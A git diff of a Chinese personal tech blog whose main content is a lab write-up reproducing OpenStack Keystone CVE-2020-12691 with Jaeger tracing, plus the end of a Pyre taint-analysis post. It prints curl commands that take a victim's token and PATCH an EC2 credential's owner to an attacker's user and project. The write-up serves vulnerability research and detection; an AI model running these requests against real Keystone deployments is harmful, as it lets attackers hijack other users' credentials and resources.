class="comment"># iptables 配置规则</span></span><br><span class="line">sudo iptables -t nat -I PREROUTING -p tcp -d 10.112.148.73/24 --dport 2222 -j DNAT --to-destination 127.0.0.1:5000</span><br></pre></td></tr></table></figure><p>通过 Web UI 查看结果，一共找出 13 个问题，全是可能的 XSS 漏洞：</p><img src="https://s2.loli.net/2021/12/30/rliNpZJgWLwbex4.png" style="zoom: 67%;" /><p>导入的过滤器可以在 Filter 中使用，不过 keystone 中没有检测出这些问题</p><img src="https://s2.loli.net/2021/12/30/5lWxd3sk7IKHnbM.png" style="zoom: 67%;" /><p>点开一个问题的 Traces 展示：</p><ul><li><code> UserControlled</code> 类型的污点数据一直传播到 keystone.api.os_oauth1.RequestTokenResource.post 函数<ul><li>最短的传播距离</li></ul></li><li>源点和汇点的追踪在 keystone.api.os_oauth1.RequestTokenResource.post 交汇</li><li><code> UserControlled</code> 类型的污点数据从 keystone.api.os_oauth1.RequestTokenResource.post 开始，传播到 XSS 类型的汇点<ul><li>和交汇相同</li></ul></li></ul><p>使用 <code>pyre query</code> 导出数据：<a href="https://raw.githubusercontent.com/jckling/Assets/master/python/graph.json">graph.json</a>、<a href="https://raw.githubusercontent.com/jckling/Assets/master/python/hierarchy.json">hierarchy.json</a></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 启动服务器</span></span><br><span class="line">pyre start</span><br><span class="line"></span><br><span class="line"><span class="comment"># 导出调用图</span></span><br><span class="line">pyre query <span class="string">&quot;dump_call_graph()&quot;</span> | python -m json.tool &gt; graph.json</span><br><span class="line"></span><br><span class="line"><span class="comment"># 导出类层次结构（省略变量类型）</span></span><br><span class="line">pyre query <span class="string">&quot;dump_class_hierarchy()&quot;</span> | python -m json.tool &gt; hierarchy.json</span><br><span class="line"></span><br><span class="line"><span class="comment"># 关闭服务器</span></span><br><span class="line">pyre stop</span><br></pre></td></tr></table></figure><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>差不多快半年前的东西了，而且目前也没有在做 Python 的静态程序分析。既然当时都调研和试用过了，那就稍微理一下存档这份流水账.jpg</p>]]></content>
     
@@ -415,7 +415,7 @@
     <link href="https://jckling.github.io/2021/11/05/Jaeger/CVE-2020-12691%20%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E7%9B%B8%E5%85%B3%E4%BF%A1%E6%81%AF%E8%BF%BD%E8%B8%AA/"/>
     <id>https://jckling.github.io/2021/11/05/Jaeger/CVE-2020-12691%20%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E7%9B%B8%E5%85%B3%E4%BF%A1%E6%81%AF%E8%BF%BD%E8%B8%AA/</id>
     <published>2021-11-05T07:25:15.000Z</published>
-    <updated>2024-05-21T10:02:48.252Z</updated>
+    <updated>2024-05-22T14:10:40.993Z</updated>
     
     <content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>5.14 的时候就写好了，就是一直没发（摊手</p><p>使用 Victoria 版本的 Keystone（<a href="https://tarballs.openstack.org/keystone/keystone-18.0.0.tar.gz">18.0.0</a>）不能复现漏洞利用，但是可以获取漏洞利用过程中所需的相关信息。</p><ul><li>该漏洞可以在 <a href="https://tarballs.openstack.org/keystone/keystone-16.0.0.tar.gz">Keystone 16.0.0</a> 上进行利用</li></ul><p>该漏洞的原理是使用受害者的 X-Subject-Token、credential，将其 credential 对应的 user_id、project_id 替换为攻击者的，攻击者因此获得了 credential 的使用权，进而使用该 credential 请求受害者所有的资源。漏洞利用所需的信息包括：</p><ul><li>user_id</li><li>project_id</li><li>credential</li><li>X-Subject-Token</li></ul><h1 id="相关概念"><a href="#相关概念" class="headerlink" title="相关概念"></a>相关概念</h1><h2 id="令牌（Token）"><a href="#令牌（Token）" class="headerlink" title="令牌（Token）"></a>令牌（Token）</h2><p>一旦用户的凭据（credential）通过验证，令牌服务验证和管理用于发起授权请求的令牌。</p><p>下图是请求 token 的时序图，<strong>在 v3 版本的 API 中，token 在 HTTP 头部的 X-Subject-Token 字段中，而且作为 HTTP 头部的 X-Auth-Token 字段，用以向其他服务提供认证。</strong></p><img src="https://i.loli.net/2021/11/05/PMkbSVJxoEDevWm.png" width="80%"><h2 id="应用程序凭据（Application-Credential）"><a href="#应用程序凭据（Application-Credential）" class="headerlink" title="应用程序凭据（Application Credential）"></a>应用程序凭据（Application Credential）</h2><p>用户可以创建应用凭据来允许其应用向 Keystone 进行认证，用户可以将其在项目上的角色分配的子集委托给应用程序凭据。应用使用凭据（而不是用户名密码）进行身份认证。</p><p>EC2 credential 允许用户通过 Amazon S3 API 访问 OpenStack 资源。</p><h1 id="实验环境"><a href="#实验环境" class="headerlink" title="实验环境"></a>实验环境</h1><p>使用 Virtualbox 虚拟机安装 Ubuntu 18.04；然后再安装 Docker 和 Jaeger 相关的 Python 库。</p><ol><li>安装 Docker</li></ol>  <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Docker</span></span><br><span class="line">sudo apt update</span><br><span class="line"></span><br><span class="line">sudo apt install \</span><br><span class="line">    apt-transport-https \</span><br><span class="line">    ca-certificates \</span><br><span class="line">    curl \</span><br><span class="line">    gnupg \</span><br><span class="line">    lsb-release</span><br><span class="line"></span><br><span class="line">curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> \</span><br><span class="line">  <span class="string">&quot;deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu \</span></span><br><span class="line"><span class="string">  <span class="subst">$(lsb_release -cs)</span> stable&quot;</span> | sudo <span class="built_in">tee</span> /etc/apt/sources.list.d/docker.list &gt; /dev/null</span><br><span class="line"></span><br><span class="line">sudo apt update</span><br><span class="line">sudo apt install docker-ce docker-ce-cli containerd.io</span><br><span class="line"></span><br><span class="line">sudo usermod -aG docker <span class="variable">$USER</span></span><br><span class="line">newgrp docker</span><br><span class="line"></span><br><span class="line"><span class="comment"># 开机启动</span></span><br><span class="line">sudo systemctl <span class="built_in">enable</span> docker.service</span><br><span class="line">sudo systemctl <span class="built_in">enable</span> containerd.service</span><br></pre></td></tr></table></figure><ol start="2"><li>安装 Docker Compose（虽然没用到xd）</li></ol>  <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># docker-compose</span></span><br><span class="line">sudo curl -L <span class="string">&quot;https://github.com/docker/compose/releases/download/1.28.6/docker-compose-<span class="subst">$(uname -s)</span>-<span class="subst">$(uname -m)</span>&quot;</span> -o /usr/local/bin/docker-compose</span><br><span class="line">sudo <span class="built_in">chmod</span> +x /usr/local/bin/docker-compose</span><br><span class="line">docker-compose --version</span><br></pre></td></tr></table></figure><ol start="3"><li>使用 pip 安装 Jaeger 相关的库</li></ol>  <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Python 库</span></span><br><span class="line">pip install jaeger_client</span><br><span class="line">pip install opentracing</span><br></pre></td></tr></table></figure><ol start="4"><li>启动 all-in-one 镜像</li></ol>  <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 拉取镜像</span></span><br><span class="line">docker pull jaegertracing/all-in-one</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建容器</span></span><br><span class="line">docker run -itd -p 6831:6831/udp -p 6832:6832/udp -p 16686:16686 jaegertracing/all-in-one</span><br></pre></td></tr></table></figure><h1 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h1><p>使用 admin 用户执行以下指令，创建受害者（user1）和攻击者（user2）用户，并绑定角色和项目，最后各自生成一个 EC2 credential 。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 列出角色</span></span><br><span class="line">openstack role list</span><br><span class="line"><span class="comment"># 创建角色</span></span><br><span class="line">openstack role create myrole</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建项目及用户</span></span><br><span class="line">openstack project create --description <span class="string">&#x27;cve-2020-12691&#x27;</span> project1 --domain default</span><br><span class="line">openstack user create --project project1 --password password user1</span><br><span class="line">openstack project create --description <span class="string">&#x27;cve-2020-12691&#x27;</span> project2 --domain default</span><br><span class="line">openstack user create --project project2 --password password user2</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置用户角色</span></span><br><span class="line">openstack role add --user user1 --project project1 admin</span><br><span class="line">openstack role add --user user2 --project project2 myrole</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看角色分配</span></span><br><span class="line">openstack role assignment list</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建 credential</span></span><br><span class="line">openstack ec2 credentials create --project project1 --user user1 --user-domain default --project-domain default</span><br><span class="line">openstack ec2 credentials create --project project2 --user user2 --user-domain default --project-domain default</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看 credential</span></span><br><span class="line">openstack credential list</span><br></pre></td></tr></table></figure><p>对 Keystone 进行<strong>插桩</strong>，追踪 <code>openstack credential list</code> 的执行链路。发现包含漏洞利用所需的所有信息，但对应的 X-Subject-Token 是 admin 用户的。</p><p>改用属于 admin 角色的 user1 用户执行该指令，admin 角色的用户可以查看所有 credential：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> OS_USERNAME=user1</span><br><span class="line"><span class="built_in">export</span> OS_PASSWORD=password</span><br><span class="line"><span class="built_in">export</span> OS_PROJECT_NAME=project1</span><br><span class="line"><span class="built_in">export</span> OS_USER_DOMAIN_NAME=Default</span><br><span class="line"><span class="built_in">export</span> OS_PROJECT_DOMAIN_NAME=Default</span><br><span class="line"><span class="built_in">export</span> OS_AUTH_URL=http://127.0.0.1:5000/v3</span><br><span class="line"><span class="built_in">export</span> OS_IDENTITY_API_VERSION=3</span><br><span class="line"></span><br><span class="line">openstack credential list</span><br></pre></td></tr></table></figure><p>（user1）除了 X-Subject-Token ，还包含 user_id、project_id</p><img src="https://i.loli.net/2021/11/05/e5yNWCf3OkQvLBJ.png" width="95%"><p>（user1）另一条 trace 中包含 credential ，根据 user_id 和 project_id ，可以辨认出 user1 用户的 credential</p><img src="https://i.loli.net/2021/11/05/aypQeJtBGnWDIhd.png" width="95%"><p>（user2）赋予 myrole 角色的 user2 只能看到自己的 credential 信息</p><img src="https://i.loli.net/2021/11/05/Uogye3GNDs9YkZb.jpg" width="95%"><p>（user2）追踪信息和 user1 用户的相同，包括自己的 X-Subject-Token、user_id、project_id</p><img src="https://i.loli.net/2021/11/05/o6hbXtQHZegaN83.png"><p>以下是漏洞利用的过程：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 获取 User1 的 X-Subject-Token</span></span><br><span class="line">curl -i -s\</span><br><span class="line">  -H <span class="string">&quot;Content-Type: application/json&quot;</span> \</span><br><span class="line">  -d <span class="string">&#x27;</span></span><br><span class="line"><span class="string">&#123; &quot;auth&quot;: &#123;</span></span><br><span class="line"><span class="string">    &quot;identity&quot;: &#123;</span></span><br><span class="line"><span class="string">      &quot;methods&quot;: [&quot;password&quot;],</span></span><br><span class="line"><span class="string">      &quot;password&quot;: &#123;</span></span><br><span class="line"><span class="string">        &quot;user&quot;: &#123;</span></span><br><span class="line"><span class="string">          &quot;name&quot;: &quot;user1&quot;,</span></span><br><span class="line"><span class="string">          &quot;domain&quot;: &#123; &quot;name&quot;: &quot;default&quot; &#125;,</span></span><br><span class="line"><span class="string">          &quot;password&quot;: &quot;password&quot;</span></span><br><span class="line"><span class="string">        &#125;</span></span><br><span class="line"><span class="string">      &#125;</span></span><br><span class="line"><span class="string">    &#125;,</span></span><br><span class="line"><span class="string">    &quot;scope&quot;: &#123;</span></span><br><span class="line"><span class="string">      &quot;project&quot;: &#123;</span></span><br><span class="line"><span class="string">        &quot;name&quot;: &quot;project1&quot;,</span></span><br><span class="line"><span class="string">        &quot;domain&quot;: &#123; &quot;name&quot;: &quot;default&quot; &#125;</span></span><br><span class="line"><span class="string">      &#125;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">  &#125;</span></span><br><span class="line"><span class="string">&#125;&#x27;</span> \</span><br><span class="line">  <span class="string">&quot;http://localhost:5000/v3/auth/tokens?nocatalog&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取 User1 的 credential（根据 user_id 和 peoject_id 查找）</span></span><br><span class="line">curl \</span><br><span class="line">  -H <span class="string">&quot;Content-Type: application/json&quot;</span> \</span><br><span class="line">  -H <span class="string">&quot;X-Auth-Token: gAAAAABgdRYFHdUj407-Ysq_SSPjsB5NXYDmjtFx6WCKcbgh7QBSIJSxa0s4b7RDs0fxO3eB5GW6X1vD9o1PSUQn-nKX2KzJRQHKhWHlDBWM8xjCWsZmfEMd7dOM0VyUXb5P8H4H4CKCqoCZcwQw-eibA_u6NWuNHG8kAR-AQR2OyDSKMF9X9Yg&quot;</span> \</span><br><span class="line">  <span class="string">&quot;http://localhost:5000/v3/credentials&quot;</span> | python -m json.tool</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 替换为 User2 的 user_id、project_id</span></span><br><span class="line">curl -X PATCH \</span><br><span class="line">  -H <span class="string">&quot;Content-Type: application/json&quot;</span> \</span><br><span class="line">  -H <span class="string">&quot;X-Auth-Token: gAAAAABgdRYFHdUj407-Ysq_SSPjsB5NXYDmjtFx6WCKcbgh7QBSIJSxa0s4b7RDs0fxO3eB5GW6X1vD9o1PSUQn-nKX2KzJRQHKhWHlDBWM8xjCWsZmfEMd7dOM0VyUXb5P8H4H4CKCqoCZcwQw-eibA_u6NWuNHG8kAR-AQR2OyDSKMF9X9Yg&quot;</span> \</span><br><span class="line">  -d <span class="string">&#x27;</span></span><br><span class="line"><span class="string">&#123; &quot;credential&quot;: &#123;</span></span><br><span class="line"><span class="string">    &quot;project_id&quot;: &quot;b0419aebd03c40f3b8b0c413d19056ce&quot;,</span></span><br><span class="line"><span class="string">    &quot;user_id&quot;: &quot;6d173c8b8d354c0b8f890a0666821a64&quot;</span></span><br><span class="line"><span class="string">  &#125;</span></span><br><span class="line"><span class="string">&#125;&#x27;</span> \</span><br><span class="line">  <span class="string">&quot;http://localhost:5000/v3/credentials/416f331f7a26867c8be1fe3c574b4878b09b58fd272b7ab60bb568b52deabdb9&quot;</span></span><br></pre></td></tr></table></figure><p>也就是说，只要获得了受害者的 X-Subject-Token、credential ，就可以通过 PATCH 请求将 credential 对应的所有者替换为攻击者的。</p><h1 id="Jaeger-API"><a href="#Jaeger-API" class="headerlink" title="Jaeger API"></a>Jaeger API</h1><p>返回追踪信息，保存为 json 格式。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># http://jaeger-query:16686/api/traces/&#123;trace-id-hex-string&#125;</span></span><br><span class="line">curl <span class="string">&quot;http://localhost:16686/api/traces/a6192f3a980c57b5&quot;</span> -o 3.json</span><br><span class="line"></span><br><span class="line"><span class="built_in">cat</span> 3.json | python -mjson.tool</span><br></pre></td></tr></table></figure><p>这里的 <code>trace-id-hex-string</code> 是路径中完整的字符串，不是 Jaeger UI 中的缩略显示。</p><img src="https://i.loli.net/2021/11/05/FpVlJZf72TtvEXi.png" width="80%"><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><ol><li><p>从复现漏洞利用的角度来说，链路追踪可以获取到大量的可用信息，帮助构建漏洞利用脚本；</p></li><li><p>从发现漏洞的角度来说，通过链路追踪的到的数据进行分析，可能发现异常。</p><ul><li>上述漏洞可以通过使用同一个用户执行相同指令，对比发现返回的结果不同。具体来说就是漏洞利用之前和之后 <code>openstack credential list</code> 返回的数据不一致，因此可以推断这里可能产生了异常。</li></ul></li></ol><h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</h1><ul><li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12691">CVE - CVE-2020-12691</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-12691">NVD - CVE-2020-12691</a></li><li><a href="https://docs.docker.com/engine/install/ubuntu/">Install Docker Engine on Ubuntu</a></li><li><a href="https://docs.docker.com/engine/install/linux-postinstall/">Post-installation steps for Linux</a></li><li><a href="https://docs.docker.com/compose/install/">Install Docker Compose</a></li><li><a href="https://www.jaegertracing.io/docs/1.22/getting-started/">Getting Started – Jaeger documentation</a></li></ul>]]></content>
     
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+            </ul></div><div class="card-widget card-webinfo"><div class="item-headline"><i class="fas fa-chart-line"></i><span>网站资讯</span></div><div class="webinfo"><div class="webinfo-item"><div class="item-name">文章数目 :</div><div class="item-count">124</div></div><div class="webinfo-item"><div class="item-name">本站访客数 :</div><div class="item-count" id="busuanzi_value_site_uv"><i class="fa-solid fa-spinner fa-spin"></i></div></div><div class="webinfo-item"><div class="item-name">本站总访问量 :</div><div class="item-count" id="busuanzi_value_site_pv"><i class="fa-solid fa-spinner fa-spin"></i></div></div><div class="webinfo-item"><div class="item-name">最后更新时间 :</div><div class="item-count" id="last-push-date" data-lastPushDate="2024-05-22T14:10:56.761Z"><i class="fa-solid fa-spinner fa-spin"></i></div></div></div></div></div></div></main><footer id="footer" style="background-image: url('https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/index.jpg')"><div id="footer-wrap"><div class="copyright">&copy;2020 - 2024 By Jckling</div><div class="framework-info"><span>框架 </span><a target="_blank" rel="noopener" href="https://hexo.io">Hexo</a><span class="footer-separator">|</span><span>主题 </span><a target="_blank" rel="noopener" href="https://github.com/jerryc127/hexo-theme-butterfly">Butterfly</a></div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="单栏和双栏切换"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside-config" type="button" title="设置"><i class="fas fa-cog fa-spin"></i></button><a id="to_comment" href="#post-comment" title="直达评论"><i class="fas fa-comments"></i></a><button id="go-up" type="button" title="回到顶部"><span class="scroll-percent"></span><i class="fas fa-arrow-up"></i></button></div></div><div><script src="/js/utils.js?v=4.13.0"></script><script src="/js/main.js?v=4.13.0"></script><script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui@5.0.33/dist/fancybox/fancybox.umd.min.js"></script><div class="js-pjax"><script>(() => {
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diff --git a/categories/Algorithm/index.html b/categories/Algorithm/index.html
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+            </ul></div><div class="card-widget card-webinfo"><div class="item-headline"><i class="fas fa-chart-line"></i><span>网站资讯</span></div><div class="webinfo"><div class="webinfo-item"><div class="item-name">文章数目 :</div><div class="item-count">124</div></div><div class="webinfo-item"><div class="item-name">本站访客数 :</div><div class="item-count" id="busuanzi_value_site_uv"><i class="fa-solid fa-spinner fa-spin"></i></div></div><div class="webinfo-item"><div class="item-name">本站总访问量 :</div><div class="item-count" id="busuanzi_value_site_pv"><i class="fa-solid fa-spinner fa-spin"></i></div></div><div class="webinfo-item"><div class="item-name">最后更新时间 :</div><div class="item-count" id="last-push-date" data-lastPushDate="2024-05-22T14:10:56.761Z"><i class="fa-solid fa-spinner fa-spin"></i></div></div></div></div></div></div></main><footer id="footer" style="background-image: url('https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/index.jpg')"><div id="footer-wrap"><div class="copyright">&copy;2020 - 2024 By Jckling</div><div class="framework-info"><span>框架 </span><a target="_blank" rel="noopener" href="https://hexo.io">Hexo</a><span class="footer-separator">|</span><span>主题 </span><a target="_blank" rel="noopener" href="https://github.com/jerryc127/hexo-theme-butterfly">Butterfly</a></div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="单栏和双栏切换"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside-config" type="button" title="设置"><i class="fas fa-cog fa-spin"></i></button><button id="go-up" type="button" title="回到顶部"><span class="scroll-percent"></span><i class="fas fa-arrow-up"></i></button></div></div><div><script src="/js/utils.js?v=4.13.0"></script><script src="/js/main.js?v=4.13.0"></script><script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui@5.0.33/dist/fancybox/fancybox.umd.min.js"></script><div class="js-pjax"></div><script>window.addEventListener('load', () => {
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diff --git a/categories/Blockchain/index.html b/categories/Blockchain/index.html
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@@ -161,7 +161,7 @@
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             <li class="card-category-list-item "><a class="card-category-list-link" href="/categories/Algorithm/"><span class="card-category-list-name">Algorithm</span><span class="card-category-list-count">3</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/Blockchain/"><span class="card-category-list-name">Blockchain</span><span class="card-category-list-count">3</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/Game/"><span class="card-category-list-name">Game</span><span class="card-category-list-count">10</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/Jaeger/"><span class="card-category-list-name">Jaeger</span><span class="card-category-list-count">4</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/LeetCode/"><span class="card-category-list-name">LeetCode</span><span class="card-category-list-count">3</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/Notes/"><span class="card-category-list-name">Notes</span><span class="card-category-list-count">19</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/OpenStack/"><span class="card-category-list-name">OpenStack</span><span class="card-category-list-count">24</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/Other/"><span class="card-category-list-name">Other</span><span class="card-category-list-count">25</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/Security/"><span class="card-category-list-name">Security</span><span class="card-category-list-count">33</span></a></li>
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+            </ul></div><div class="card-widget card-webinfo"><div class="item-headline"><i class="fas fa-chart-line"></i><span>网站资讯</span></div><div class="webinfo"><div class="webinfo-item"><div class="item-name">文章数目 :</div><div class="item-count">124</div></div><div class="webinfo-item"><div class="item-name">本站访客数 :</div><div class="item-count" id="busuanzi_value_site_uv"><i class="fa-solid fa-spinner fa-spin"></i></div></div><div class="webinfo-item"><div class="item-name">本站总访问量 :</div><div class="item-count" id="busuanzi_value_site_pv"><i class="fa-solid fa-spinner fa-spin"></i></div></div><div class="webinfo-item"><div class="item-name">最后更新时间 :</div><div class="item-count" id="last-push-date" data-lastPushDate="2024-05-22T14:10:56.761Z"><i class="fa-solid fa-spinner fa-spin"></i></div></div></div></div></div></div></main><footer id="footer" style="background-image: url('https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/index.jpg')"><div id="footer-wrap"><div class="copyright">&copy;2020 - 2024 By Jckling</div><div class="framework-info"><span>框架 </span><a target="_blank" rel="noopener" href="https://hexo.io">Hexo</a><span class="footer-separator">|</span><span>主题 </span><a target="_blank" rel="noopener" href="https://github.com/jerryc127/hexo-theme-butterfly">Butterfly</a></div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="单栏和双栏切换"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside-config" type="button" title="设置"><i class="fas fa-cog fa-spin"></i></button><button id="go-up" type="button" title="回到顶部"><span class="scroll-percent"></span><i class="fas fa-arrow-up"></i></button></div></div><div><script src="/js/utils.js?v=4.13.0"></script><script src="/js/main.js?v=4.13.0"></script><script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui@5.0.33/dist/fancybox/fancybox.umd.min.js"></script><div class="js-pjax"></div><script>window.addEventListener('load', () => {
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diff --git a/categories/Game/index.html b/categories/Game/index.html
index 1df316320..9c46d8ef3 100644
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@@ -55,7 +55,7 @@
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+  postUpdate: '2024-05-22 22:10:58'
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         set: (key, value, ttl) => {
@@ -161,7 +161,7 @@
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             <li class="card-category-list-item "><a class="card-category-list-link" href="/categories/Algorithm/"><span class="card-category-list-name">Algorithm</span><span class="card-category-list-count">3</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/Blockchain/"><span class="card-category-list-name">Blockchain</span><span class="card-category-list-count">3</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/Game/"><span class="card-category-list-name">Game</span><span class="card-category-list-count">10</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/Jaeger/"><span class="card-category-list-name">Jaeger</span><span class="card-category-list-count">4</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/LeetCode/"><span class="card-category-list-name">LeetCode</span><span class="card-category-list-count">3</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/Notes/"><span class="card-category-list-name">Notes</span><span class="card-category-list-count">19</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/OpenStack/"><span class="card-category-list-name">OpenStack</span><span class="card-category-list-count">24</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/Other/"><span class="card-category-list-name">Other</span><span class="card-category-list-count">25</span></a></li><li class="card-category-list-item "><a class="card-category-list-link" href="/categories/Security/"><span class="card-category-list-name">Security</span><span class="card-category-list-count">33</span></a></li>
-            </ul></div><div class="card-widget card-webinfo"><div class="item-headline"><i class="fas fa-chart-line"></i><span>网站资讯</span></div><div class="webinfo"><div class="webinfo-item"><div class="item-name">文章数目 :</div><div class="item-count">124</div></div><div class="webinfo-item"><div class="item-name">本站访客数 :</div><div class="item-count" id="busuanzi_value_site_uv"><i class="fa-solid fa-spinner fa-spin"></i></div></div><div class="webinfo-item"><div class="item-name">本站总访问量 :</div><div class="item-count" id="busuanzi_value_site_pv"><i class="fa-solid fa-spinner fa-spin"></i></div></div><div class="webinfo-item"><div class="item-name">最后更新时间 :</div><div class="item-count" id="last-push-date" data-lastPushDate="2024-05-21T10:03:04.083Z"><i class="fa-solid fa-spinner fa-spin"></i></div></div></div></div></div></div></main><footer id="footer" style="background-image: url('https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/index.jpg')"><div id="footer-wrap"><div class="copyright">&copy;2020 - 2024 By Jckling</div><div class="framework-info"><span>框架 </span><a target="_blank" rel="noopener" href="https://hexo.io">Hexo</a><span class="footer-separator">|</span><span>主题 </span><a target="_blank" rel="noopener" href="https://github.com/jerryc127/hexo-theme-butterfly">Butterfly</a></div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="单栏和双栏切换"><i class="fas fa-arrows-alt-h"></i></button></div><div 